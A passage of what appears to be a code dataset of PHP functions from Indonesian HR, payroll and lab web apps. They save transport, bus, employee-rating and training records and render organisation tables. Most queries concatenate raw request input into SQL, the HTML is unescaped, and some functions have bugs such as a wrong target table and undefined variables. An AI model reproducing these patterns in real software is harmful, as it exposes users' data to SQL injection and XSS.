\";\n $strSQL .= \"location = '$strDataLocation', area = '$strDataArea', \";\n $strSQL .= \"\\\"overtimeAllowance\\\"= '$strDataAllowance', note = '$strDataNote' \";\n $strSQL .= \"WHERE id = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n }\n // simpan data bus\n if ($strDataID != \"\") {\n $strBusCode = \"\";\n $intSeat = 0;\n for ($i = 1; $i <= $intMaxBus; $i++) {\n (isset($_REQUEST['dataBusID' . $i])) ? $strID = $_REQUEST['dataBusID' . $i] : $strID = \"\";\n (isset($_REQUEST['dataBusCode' . $i])) ? $strCode = $_REQUEST['dataBusCode' . $i] : $strCode = \"\";\n (isset($_REQUEST['dataBusSeat' . $i])) ? $strSeat = $_REQUEST['dataBusSeat' . $i] : $strSeat = \"\";\n (isset($_REQUEST['dataBusNote' . $i])) ? $strNote = $_REQUEST['dataBusNote' . $i] : $strNote = \"\";\n if ($strID == \"\") { //add new\n if ($strCode != \"\") {\n if (!is_numeric($strSeat)) {\n $strSeat = 0;\n };\n $strSQL = \"INSERT INTO \\\"hrdBus\\\" (created,modified_by,created_by, \";\n $strSQL .= \"\\\"idTransportation\\\", code, seat, note) \";\n $strSQL .= \"VALUES(now(), '$strmodified_byID', '$strmodified_byID', \";\n $strSQL .= \"'$strDataID', '$strCode', $strSeat, '$strNote') \";\n $resExec = $db->execute($strSQL);\n }\n } else { //update atau delete\n if ($strCode == \"\") {\n $strSQL = \"DELETE FROM \\\"hrdBus\\\" WHERE id = '$strID' \";\n $resExec = $db->execute($strSQL);\n } else {\n $strSQL = \"UPDATE \\\"hrdBus\\\" SET modified_by = '$strmodified_byID', \";\n $strSQL .= \"code = '$strCode', seat = '$strSeat', note = '$strNote' \";\n $strSQL .= \"WHERE id = '$strID' \";\n $resExec = $db->execute($strSQL);\n }\n }\n // simpan untuk ditampung di master data transport\n if ($strCode != \"\" && $strBusCode == \"\") {\n $strBusCode = $strCode;\n $intSeat = $strSeat;\n }\n }\n // update data bus\n $strSQL = \"UPDATE \\\"hrdTransportation\\\" SET \\\"busNo\\\" = '$strBusCode', seat = '$intSeat' \";\n $strSQL .= \"WHERE id = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n }\n return true;\n}", "function saveData($db, &$strDataID, &$strError)\n{\n global $_REQUEST;\n global $_SESSION;\n global $error;\n global $messages;\n global $arrData;\n global $arrUserInfo;\n $strError = \"\";\n $bolOK = true;\n $strToday = date(\"Y-m-d\");\n (isset($_REQUEST['dataEmployee'])) ? $strDataEmployee = $_REQUEST['dataEmployee'] : $strDataEmployee = \"\";\n (isset($_REQUEST['dataDate'])) ? $strDataDate = $_REQUEST['dataDate'] : $strDataDate = \"\";\n (isset($_REQUEST['dataCode'])) ? $strDataCode = $_REQUEST['dataCode'] : $strDataCode = \"\";\n (isset($_REQUEST['dataPeriod'])) ? $strDataPeriod = $_REQUEST['dataPeriod'] : $strDataPeriod = \"\";\n (isset($_REQUEST['dataNote'])) ? $strDataNote = $_REQUEST['dataNote'] : $strDataNote = \"\";\n // cek validasi -----------------------\n if ($strDataEmployee == \"\") {\n $strError = $error['empty_employee'];\n $bolOK = false;\n } else if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n $bolOK = false;\n } else if ($strDataPeriod == \"\") {\n $strError = $error['invalid_date'];\n $bolOK = false;\n } else if (substr_count($strDataNote, \"'\")) {\n $strError = $error['invalid_text'];\n $bolOK = false;\n }\n // cari dta Employee ID, apakah ada atau tidak\n $arrEmployee = getEmployeeInfoByCode($db, $strDataEmployee, \"id, employee_name\");\n if (count($arrEmployee) == 0) {\n $strError = $error['employee_data_not_found'];\n $bolOK = false;\n } else {\n $strIDEmployee = $arrEmployee[\"id\"];\n }\n // simpan data -----------------------\n if ($bolOK) { // input OK, tinggal disimpan\n if ($strDataID == \"\") {\n // cek data yang duplikat \n $strSQL = \"SELECT id FROM hrd_employee_rating WHERE id_employee = '$strIDEmployee' \";\n $strSQL .= \"AND period = $strDataPeriod \";\n $resS = $db->execute($strSQL);\n echo $strSQL;\n if ($rowDb = $db->fetchrow($resS)) {\n //echo \"Sini juga\";\n //var_dump($rowDb);\n $strError = $error['overlaping_date_entry'];\n $bolOK = false;\n }\n if ($bolOK) {\n $strSQL = \"INSERT INTO hrd_employee_rating (created, created_by, modified_by, \";\n $strSQL .= \"id_employee, rating_code, rating_date, period, \";\n $strSQL .= \"note) \";\n $strSQL .= \"VALUES(now(),'\" . $_SESSION['sessionUserID'] . \"','\" . $_SESSION['sessionUserID'] . \"', \";\n $strSQL .= \"'$strIDEmployee','$strDataCode','$strDataDate', $strDataPeriod, \";\n $strSQL .= \"'$strDataNote') \";\n $resExec = $db->execute($strSQL);\n // cari ID\n //echo $strSQl;\n writeLog(\n 'EMPLOYEE RATING ADD',\n MODULE_EMPLOYEE,\n $arrEmployee['employee_name'] . \" - \" . $strDataCode . \" - \" . $strDataDate . \" - \" . $strDataPeriod . \" \",\n 0\n );\n $strError = $messages['data_saved'];\n }\n } else {\n $strSQL = \"UPDATE hrd_absence \";\n $strSQL .= \"SET modified_by = '\" . $_SESSION['sessionUserID'] . \"', \";\n $strSQL .= \"id_employee = '$strIDEmployee',\";\n $strSQL .= \"rating_code = '$strDataCode', \";\n $strSQL .= \"rating_date = '$strDataDate', \";\n $strSQL .= \"period = $strDataPeriod, \";\n $strSQL .= \"note = '$strDataNote', duration = '$strDataDuration' \";\n $strSQL .= \"WHERE id = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n writeLog('EMPLOYEE RATING UPDATE', MODULE_EMPLOYEE, \"Employee rating\", 0);\n $strError = $messages['data_saved'];\n }\n } else { // ---- data SALAHs\n // gunakan data yang diisikan tadi\n $arrData['dataEmployee'] = $strDataEmployee;\n $arrData['dataDate'] = $strDataDate;\n $arrData['dataCode'] = $strDataCode;\n $arrData['dataPeriod'] = $strDataPeriod;\n $arrData['dataNote'] = $strDataNote;\n $arrData['dataID'] = $strDataID;\n //writeLog(ACTIVITY_EDIT, MODULE_EMPLOYEE, \"data not saved - error: \".$strError, 0);\n }\n //einsert\n return $bolOK;\n}", "function getData($db, &$intRows, $strKriteria = \"\", $strOrder = \"\")\n{\n global $words;\n global $bolPrint;\n $intRows = 0;\n $strResult = \"\";\n $strSQL = \"SELECT * FROM \\\"hrdTransportation\\\" \";\n $strSQL .= \"WHERE 1=1 $strKriteria ORDER BY $strOrder \\\"code\\\" \";\n $resDb = $db->execute($strSQL);\n while ($rowDb = $db->fetchrow($resDb)) {\n $intRows++;\n // cari dulu daftar bus\n $j = 0;\n $strDetail1 = \"\";\n $strDetail2 = \"\";\n $strSQL = \"SELECT * FROM \\\"hrdBus\\\" WHERE \\\"idTransportation\\\" = '\" . $rowDb['id'] . \"' \";\n $resBus = $db->execute($strSQL);\n while ($rowBus = $db->fetchrow($resBus)) {\n $j++;\n if ($j == 1) {\n $strHiddenBus = \"<input type=hidden name='detailBusID$intRows\" . \"_$j' value=\\\"\" . $rowBus['id'] . \"\\\" disabled>\\n\";\n $strHiddenBus .= \"<input type=hidden name='detailBusCode$intRows\" . \"_$j' value=\\\"\" . $rowBus['code'] . \"\\\" disabled>\\n\";\n $strHiddenBus .= \"<input type=hidden name='detailBusSeat$intRows\" . \"_$j' value=\\\"\" . $rowBus['seat'] . \"\\\" disabled>\\n\";\n $strHiddenBus .= \"<input type=hidden name='detailBusNote$intRows\" . \"_$j' value=\\\"\" . $rowBus['note'] . \"\\\" disabled>\\n\";\n $strDetail1 .= \"<td>$strHiddenBus&nbsp;\" . $rowBus['code'] . \"</td>\\n\";\n $strDetail1 .= \"<td align=right>&nbsp;\" . $rowBus['seat'] . \"</td>\\n\";\n $strDetail1 .= \"<td>&nbsp;\" . $rowBus['note'] . \"</td>\\n\";\n } else {\n $strHiddenBus = \"<input type=hidden name='detailBusID$intRows\" . \"_$j' value=\\\"\" . $rowBus['id'] . \"\\\" disabled>\\n\";\n $strHiddenBus .= \"<input type=hidden name='detailBusCode$intRows\" . \"_$j' value=\\\"\" . $rowBus['code'] . \"\\\" disabled>\\n\";\n $strHiddenBus .= \"<input type=hidden name='detailBusSeat$intRows\" . \"_$j' value=\\\"\" . $rowBus['seat'] . \"\\\" disabled>\\n\";\n $strHiddenBus .= \"<input type=hidden name='detailBusNote$intRows\" . \"_$j' value=\\\"\" . $rowBus['note'] . \"\\\" disabled>\\n\";\n if ($bolPrint) {\n $strDetail2 .= \"<tr valign=top><td colspan=4>&nbsp;</td>\\n\";\n } else {\n $strDetail2 .= \"<tr valign=top><td colspan=5>&nbsp;</td>\\n\";\n }\n $strDetail2 .= \"<td>$strHiddenBus&nbsp;\" . $rowBus['code'] . \"</td>\\n\";\n $strDetail2 .= \"<td align=right>&nbsp;\" . $rowBus['seat'] . \"</td>\\n\";\n $strDetail2 .= \"<td>&nbsp;\" . $rowBus['note'] . \"</td>\\n\";\n if ($bolPrint) {\n $strDetail2 .= \"<td>&nbsp;</td></tr>\\n\";\n } else {\n $strDetail2 .= \"<td>&nbsp;</td><td>&nbsp;</td></tr>\\n\";\n }\n }\n }\n // handle jika tidak ada bus\n if ($j == 0) {\n $strDetail1 .= \"<td>&nbsp;</td>\\n\";\n $strDetail1 .= \"<td align=right>&nbsp;</td>\\n\";\n $strDetail1 .= \"<td>&nbsp;</td>\\n\";\n }\n $strTotalBus = \"<input type=hidden name='detailTotalBus$intRows' value=$j disabled>\";\n $strResult .= \"<tr valign=top>\\n\";\n if (!$bolPrint) {\n $strResult .= \" <td>$strTotalBus<input type=checkbox name='chkID$intRows' value=\\\"\" . $rowDb['id'] . \"\\\"></td>\\n\";\n }\n $strResult .= \" <td nowrap><input type=hidden name=detailCode$intRows value=\\\"\" . $rowDb['code'] . \"\\\" disabled>\" . $rowDb['code'] . \"&nbsp;</td>\";\n $strResult .= \" <td><input type=hidden name=detailLocation$intRows value=\\\"\" . $rowDb['location'] . \"\\\" disabled>\" . $rowDb['location'] . \"&nbsp;</td>\";\n $strResult .= \" <td><input type=hidden name=detailArea$intRows value=\\\"\" . $rowDb['area'] . \"\\\" disabled>\" . $rowDb['area'] . \"&nbsp;</td>\";\n //$strResult .= \" <td><input type=hidden name=detailBus$intRows value=\\\"\" .$rowDb['busNumber']. \"\\\" disabled>\" .$rowDb['busNumber']. \"&nbsp;</td>\";\n //$strResult .= \" <td align=right><input type=hidden name=detailSeat$intRows value=\\\"\" .$rowDb['seat']. \"\\\" disabled>\" .$rowDb['seat']. \"&nbsp;</td>\";\n $strResult .= \" <td align=right><input type=hidden name=detailAllowance$intRows value=\\\"\" . (float)$rowDb['overtimeAllowance'] . \"\\\" disabled>\" . standardFormat(\n $rowDb['overtimeAllowance']\n ) . \"&nbsp;</td>\";\n $strResult .= $strDetail1;\n $strResult .= \" <td><input type=hidden name=detailNote$intRows value=\\\"\" . $rowDb['note'] . \"\\\" disabled>\" . $rowDb['note'] . \"&nbsp;</td>\";\n if (!$bolPrint) {\n $strResult .= \" <td nowrap align=center><a href='javascript:editData($intRows)'>\" . $words['edit'] . \"</a>&nbsp;</td>\";\n }\n $strResult .= \"</tr>\\n\";\n $strResult .= $strDetail2;\n }\n writeLog(ACTIVITY_VIEW, MODULE_PAYROLL, \"\", 0);\n return $strResult;\n}", "function getData($db, &$intRows, $strKriteria = \"\", $strOrder = \"\")\n{\n global $words;\n $intRows = 0;\n $strResult = \"\";\n $strSQL = \"SELECT * FROM hrd_management \";\n $strSQL .= \"WHERE management_code LIKE '\" . getCompanyCode() . \"%' $strKriteria ORDER BY $strOrder management_code \";\n $resMan = $db->execute($strSQL);\n $strWordEdit = \"<img src=\\\"../images/b_edit.png\\\" border=0 alt='Edit' />\";\n while ($rowMan = $db->fetchrow($resMan)) {\n $intRows++;\n $strResult .= \"<tr valign=top>\\n\";\n $strResult .= \" <td><div class=\\\"checkbox no-margin\\\"><label><input class=\\\"checkbox-inline\\\" type=\\\"checkbox\\\" name='chkManagementID$intRows' value=\\\"\" . $rowMan['id'] . \"\\\"></label></div></td>\\n\";\n $strResult .= \" <td nowrap><input type=hidden name=detailManagementCode$intRows value=\\\"\" . $rowMan['management_code'] . \"\\\" disabled>\" . $rowMan['management_code'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td><input type=hidden name=detailManagementName$intRows value=\\\"\" . $rowMan['management_name'] . \"\\\" disabled>\" . $rowMan['management_name'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:editDataManagement($intRows)'>\" . $strWordEdit . \"</a>&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:addDataDivision($intRows)'><img src=\\\"../images/add.png\\\" border=0 alt='\" . getWords(\n \"add\"\n ) . \"' title='\" . $words['add department'] . \"' /></a>&nbsp;</td>\\n\";\n $intDiv = 0;\n $strSQL = \"SELECT * FROM hrd_division \";\n $strSQL .= \"WHERE management_code = '\" . $rowMan['management_code'] . \"' \";\n $resDiv = $db->execute($strSQL);\n //$bolSatHol = ($rowDiv['saturday_holiday'] == 't') ? \"&radic;\" : \"\";\n $strWordEdit = \"<img src=\\\"../images/b_edit.png\\\" border=0 alt='Edit' />\";\n while ($rowDiv = $db->fetchrow($resDiv)) {\n $intDiv++;\n if ($intDiv > 1) { //baris baru\n $intRows++;\n $strResult .= \"<tr valign=top>\\n\";\n $strHidden = \"<input type=hidden name='chkManagementID$intRows' value=\\\"\" . $rowMan['id'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementCode$intRows' value=\\\"\" . $rowMan['management_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementName$intRows' value=\\\"\" . $rowMan['management_name'] . \"\\\" disabled>\";\n $strResult .= \"<td colspan=5>$strHidden&nbsp;</td>\\n\";\n }\n $strResult .= \" <td><div class=\\\"checkbox no-margin\\\"><label><input class=\\\"checkbox-inline\\\" type=\\\"checkbox\\\" name='chkDivisionID$intRows' value=\\\"\" . $rowDiv['id'] . \"\\\"></label></div></td>\\n\";\n $strResult .= \" <td nowrap><input type=hidden name=detailDivisionCode$intRows value=\\\"\" . $rowDiv['division_code'] . \"\\\" disabled>\" . $rowDiv['division_code'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td><input type=hidden name=detailDivisionName$intRows value=\\\"\" . $rowDiv['division_name'] . \"\\\" disabled>\" . $rowDiv['division_name'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:editDataDivision($intRows)'>\" . $strWordEdit . \"</a>&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:addData($intRows)'><img src=\\\"../images/add.png\\\" border=0 alt='\" . getWords(\n \"add\"\n ) . \"' title='\" . $words['add department'] . \"' /></a>&nbsp;</td>\\n\";\n $intDept = 0;\n $strSQL = \"SELECT * FROM hrd_department \";\n $strSQL .= \"WHERE division_code = '\" . $rowDiv['division_code'] . \"' \";\n $strSQL .= \"ORDER BY $strOrder department_code \";\n $resDb = $db->execute($strSQL);\n while ($rowDb = $db->fetchrow($resDb)) {\n $intDept++;\n if ($intDept > 1) { //baris baru\n $intRows++;\n $strResult .= \"<tr valign=top>\\n\";\n $strHidden = \"<input type=hidden name='chkDivisionID$intRows' value=\\\"\" . $rowDiv['id'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementCode$intRows' value=\\\"\" . $rowMan['management_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementName$intRows' value=\\\"\" . $rowMan['management_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionCode$intRows' value=\\\"\" . $rowDiv['division_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionName$intRows' value=\\\"\" . $rowDiv['division_name'] . \"\\\" disabled>\";\n $strResult .= \"<td colspan=5>$strHidden&nbsp;</td>\\n\";\n $strResult .= \"<td colspan=5>&nbsp;</td>\\n\";\n }\n $strResult .= \" <td><div class=\\\"checkbox no-margin\\\"><label><input class=\\\"checkbox-inline\\\" type=\\\"checkbox\\\" name='chkID$intRows' value=\\\"\" . $rowDb['id'] . \"\\\"></label></div></td>\\n\";\n $strResult .= \" <td nowrap><input type=hidden name=detailCode$intRows value=\\\"\" . $rowDb['department_code'] . \"\\\" disabled>\" . $rowDb['department_code'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td><input type=hidden name=detailName$intRows value=\\\"\" . $rowDb['department_name'] . \"\\\" disabled>\" . $rowDb['department_name'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:editData($intRows)'>\" . $strWordEdit . \"</a>&nbsp;</td>\\n\";\n //=========== sub department =====//\n $strResult .= \" <td nowrap align=center><a href='javascript:addDataSubDepartment($intRows)'><img src=\\\"../images/add.png\\\" border=0 alt='\" . getWords(\n \"add\"\n ) . \"' title='\" . $words['add sub department'] . \"' /></a>&nbsp;</td>\\n\";\n $intSubDepartment = 0;\n // cari data section\n $strSQL = \"SELECT * FROM hrd_sub_department WHERE department_code = '\" . $rowDb['department_code'] . \"' ORDER BY sub_department_code \";\n $resSubDept = $db->execute($strSQL);\n while ($rowSubDept = $db->fetchrow($resSubDept)) {\n $intSubDepartment++;\n if ($intSubDepartment > 1) { //baris baru\n $intRows++;\n $strResult .= \"<tr valign=top>\\n\";\n $strHidden = \"<input type=hidden name='chkID$intRows' value=\\\"\" . $rowDb['id'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementCode$intRows' value=\\\"\" . $rowMan['management_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementName$intRows' value=\\\"\" . $rowMan['management_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionCode$intRows' value=\\\"\" . $rowDiv['division_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionName$intRows' value=\\\"\" . $rowDiv['division_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailCode$intRows' value=\\\"\" . $rowDb['department_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailName$intRows' value=\\\"\" . $rowDb['department_name'] . \"\\\" disabled>\";\n $strResult .= \" <td colspan=5>$strHidden&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n }\n //tampilkan data sub department\n $strResult .= \" <td><div class=\\\"checkbox no-margin\\\"><label><input class=\\\"checkbox-inline\\\" type=\\\"checkbox\\\" name='chkSubDepartmentID$intRows' value=\\\"\" . $rowSubDept['id'] . \"\\\"></label></div></td>\\n\";\n $strResult .= \" <td nowrap><input type=hidden name=detailSubDepartmentCode$intRows value=\\\"\" . $rowSubDept['sub_department_code'] . \"\\\" disabled>\" . $rowSubDept['sub_department_code'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td><input type=hidden name=detailSubDepartmentName$intRows value=\\\"\" . $rowSubDept['sub_department_name'] . \"\\\" disabled>\" . $rowSubDept['sub_department_name'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:editDataSubDepartment($intRows)'>\" . $strWordEdit . \"</a>&nbsp;</td>\\n\";\n\n //======= end data sub department=========//\n $strResult .= \" <td nowrap align=center><a href='javascript:addDataSection($intRows)'><img src=\\\"../images/add.png\\\" border=0 alt='\" . getWords(\n \"add\"\n ) . \"' title='\" . $words['add section'] . \"' /></a>&nbsp;</td>\\n\";\n $intSection = 0;\n // cari data section\n //$strSQL = \"SELECT * FROM hrd_section WHERE sub_department_code = '\" . $rowSubDept['sub_department_code'] . \"' ORDER BY section_code \";\n $strSQL = \"SELECT * FROM hrd_section WHERE department_code = '\" . $rowDb['department_code'] . \"' \";\n $strSQL .= \"AND sub_department_code = '\" . $rowSubDept['sub_department_code'] . \"' ORDER BY section_code \";\n $resSec = $db->execute($strSQL);\n while ($rowSec = $db->fetchrow($resSec)) {\n $intSection++;\n if ($intSection > 1) { //baris baru\n $intRows++;\n $strResult .= \"<tr valign=top>\\n\";\n $strHidden = \"<input type=hidden name='chkID$intRows' value=\\\"\" . $rowDb['id'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementCode$intRows' value=\\\"\" . $rowMan['management_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementName$intRows' value=\\\"\" . $rowMan['management_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionCode$intRows' value=\\\"\" . $rowDiv['division_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionName$intRows' value=\\\"\" . $rowDiv['division_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailCode$intRows' value=\\\"\" . $rowDb['department_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailName$intRows' value=\\\"\" . $rowDb['department_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailSubDepartmentCode$intRows' value=\\\"\" . $rowSubDept['sub_department_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailSubDepartmentName$intRows' value=\\\"\" . $rowSubDept['sub_department_name'] . \"\\\" disabled>\";\n $strResult .= \" <td colspan=5>$strHidden&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n }\n //tampilkan dta section\n $strResult .= \" <td><div class=\\\"checkbox no-margin\\\"><label><input class=\\\"checkbox-inline\\\" type=\\\"checkbox\\\" name='chkSectionID$intRows' value=\\\"\" . $rowSec['id'] . \"\\\"></label></div></td>\\n\";\n $strResult .= \" <td nowrap><input type=hidden name=detailSectionCode$intRows value=\\\"\" . $rowSec['section_code'] . \"\\\" disabled>\" . $rowSec['section_code'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td><input type=hidden name=detailSectionName$intRows value=\\\"\" . $rowSec['section_name'] . \"\\\" disabled>\" . $rowSec['section_name'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:editDataSection($intRows)'>\" . $strWordEdit . \"</a>&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:addDataSubSection($intRows)'><img src=\\\"../images/add.png\\\" border=0 alt='\" . getWords(\n \"add\"\n ) . \"' title='\" . $words['add subsection'] . \"' /></a>&nbsp;</td>\\n\";\n //cari dta subsection\n $intSubSection = 0;\n $strSQL = \"SELECT * FROM hrd_sub_section WHERE department_code = '\" . $rowDb['department_code'] . \"' \";\n $strSQL .= \"AND sub_department_code = '\" . $rowSubDept['sub_department_code'] . \"' \";\n $strSQL .= \"AND section_code = '\" . $rowSec['section_code'] . \"' ORDER BY sub_section_code \";\n $resSub = $db->execute($strSQL);\n while ($rowSub = $db->fetchrow($resSub)) {\n $intSubSection++;\n if ($intSubSection > 1) { //baris baru\n $intRows++;\n $strResult .= \"<tr valign=top>\\n\";\n $strHidden = \"<input type=hidden name='chkID$intRows' value=\\\"\" . $rowDb['id'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementCode$intRows' value=\\\"\" . $rowMan['management_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailManagementName$intRows' value=\\\"\" . $rowMan['management_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionCode$intRows' value=\\\"\" . $rowDiv['division_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailDivisionName$intRows' value=\\\"\" . $rowDiv['division_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailCode$intRows' value=\\\"\" . $rowDb['department_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailName$intRows' value=\\\"\" . $rowDb['department_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailSubDepartmentCode$intRows' value=\\\"\" . $rowSubDept['sub_department_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailSubDepartment$intRows' value=\\\"\" . $rowSubDept['sub_department_name'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailSectionCode$intRows' value=\\\"\" . $rowSec['section_code'] . \"\\\" disabled>\";\n $strHidden .= \"<input type=hidden name='detailSectionName$intRows' value=\\\"\" . $rowSec['section_name'] . \"\\\" disabled>\";\n $strResult .= \" <td colspan=5>$strHidden&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n $strResult .= \" <td colspan=10>&nbsp;</td>\\n\";\n }\n // tampilkan data section\n $strResult .= \" <td><div class=\\\"checkbox no-margin\\\"><label><input class=\\\"checkbox-inline\\\" type=\\\"checkbox\\\" name='chkSubSectionID$intRows' value=\\\"\" . $rowSub['id'] . \"\\\"></label></div></td>\\n\";\n $strResult .= \" <td nowrap><input type=hidden name=detailSubSectionCode$intRows value=\\\"\" . $rowSub['sub_section_code'] . \"\\\" disabled>\" . $rowSub['sub_section_code'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td><input type=hidden name=detailSubSectionName$intRows value=\\\"\" . $rowSub['sub_section_name'] . \"\\\" disabled>\" . $rowSub['sub_section_name'] . \"&nbsp;</td>\\n\";\n $strResult .= \" <td nowrap align=center><a href='javascript:editDataSubSection($intRows)'>\" . $strWordEdit . \"</a>&nbsp;</td>\\n\";\n $strResult .= \"</tr>\\n\";\n } // end cari subsection\n if ($intSubSection == 0) { //jika tidak ada subsection\n $strResult .= \" <td colspan=5>&nbsp;</td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n } // end cari data section\n if ($intSection == 0) { //jika tidak ada section\n $strResult .= \" <td colspan=10>&nbsp;</td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n }\n if ($intSubDepartment == 0) { //jika tidak ada sub department\n $strResult .= \" <td colspan=15>&nbsp;</td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n }\n if ($intDept == 0) { //jika tidak ada dept\n $strResult .= \" <td colspan=20>&nbsp;</td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n }\n if ($intDiv == 0) { //jika tidak ada dept\n $strResult .= \" <td colspan=25>&nbsp;</td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n }\n writeLog(ACTIVITY_VIEW, MODULE_PAYROLL, \"\", 0);\n return $strResult;\n}", "function tambah_data($tabel,$data)\n {\n // http://thisinterestsme.com/pdo-prepared-multi-inserts/\n $rowsSQL = array();\n // buat bind param Prepared Statement\n $toBind = array();\n // list nama kolom\n $columnNames = array_keys($data[0]);\n // looping untuk mengambil isi dari kolom / values\n foreach($data as $arrayIndex => $row){\n $params = array();\n foreach($row as $columnName => $columnValue){\n $param = \":\" . $columnName . $arrayIndex;\n $params[] = $param;\n $toBind[$param] = $columnValue;\n }\n $rowsSQL[] = \"(\" . implode(\", \", $params) . \")\";\n }\n $sql = \"INSERT INTO $tabel (\" . implode(\", \", $columnNames) . \") VALUES \" . implode(\", \", $rowsSQL);\n $row = $this->db->prepare($sql);\n //Bind our values.\n foreach($toBind as $param => $val){\n $row ->bindValue($param, $val);\n }\n //Execute our statement (i.e. insert the data).\n return $row ->execute();\n }", "function loaddata($dataarray) {\r\n for ($i = 0; $i < count($dataarray); $i++) {\r\n $data = array(\r\n 'id_lab_item' \t=> $dataarray[$i]['id_lab_item'],\r\n 'low_limit' \t=> $dataarray[$i]['low_limit'],\r\n 'high_limit' \t=> $dataarray[$i]['high_limit'],\r\n 'min_limit' \t=> $dataarray[$i]['min_limit'],\r\n 'max_limit' \t=> $dataarray[$i]['max_limit'],\r\n 'age_range_1' \t=> $dataarray[$i]['age_range_1'],\r\n 'age_range_2' \t=> $dataarray[$i]['age_range_2'],\r\n 'pat_gender' \t=> $dataarray[$i]['pat_gender']\r\n );\r\n //ini untuk menambahkan apakah dalam tabel sudah ada data yang sama\r\n //apabila data sudah ada maka data di-skip\r\n // saya contohkan kalau ada data nama yang sama maka data tidak dimasukkan\r\n $this->db->where('id_lab_item', $this->input->post('id_lab_item')); \r\n if ($cek) {\r\n $this->db->insert('mst_lab_item_range', $data);\r\n }\r\n }\r\n\t}", "public function input_data($data,$table){\n\t\t$this->db->insert($table,$data);\n\t}", "function saveData($db, &$strError)\n{\n global $_REQUEST;\n global $_SESSION;\n global $error;\n global $messages;\n global $arrData;\n global $strDataID;\n $strmodified_byID = $_SESSION['sessionUserID'];\n $strError = \"\";\n $bolOK = true;\n $strToday = date(\"Y-m-d\");\n // print_r($_REQUEST);\n $strDataDate = (isset($_REQUEST['dataDate'])) ? $_REQUEST['dataDate'] : \"\";\n $strDataTrainingDate = (isset($_REQUEST['dataTrainingDate'])) ? $_REQUEST['dataTrainingDate'] : \"\";\n $strDataTrainingDateThru = (isset($_REQUEST['dataTrainingDateThru'])) ? $_REQUEST['dataTrainingDateThru'] : \"\";\n $strDataDepartment = (isset($_REQUEST['dataDepartment'])) ? trim($_REQUEST['dataDepartment']) : \"\";\n $strDataNumber = (isset($_REQUEST['dataNumber'])) ? $_REQUEST['dataNumber'] : \"\";\n $strDataEmployee = (isset($_REQUEST['dataEmployee'])) ? $_REQUEST['dataEmployee'] : \"\";\n $strDataTopic = (isset($_REQUEST['dataTopic'])) ? $_REQUEST['dataTopic'] : \"\";\n $strDataType = (isset($_REQUEST['dataTrainingType'])) ? $_REQUEST['dataTrainingType'] : \"\";\n $strDataNote = (isset($_REQUEST['dataNote'])) ? 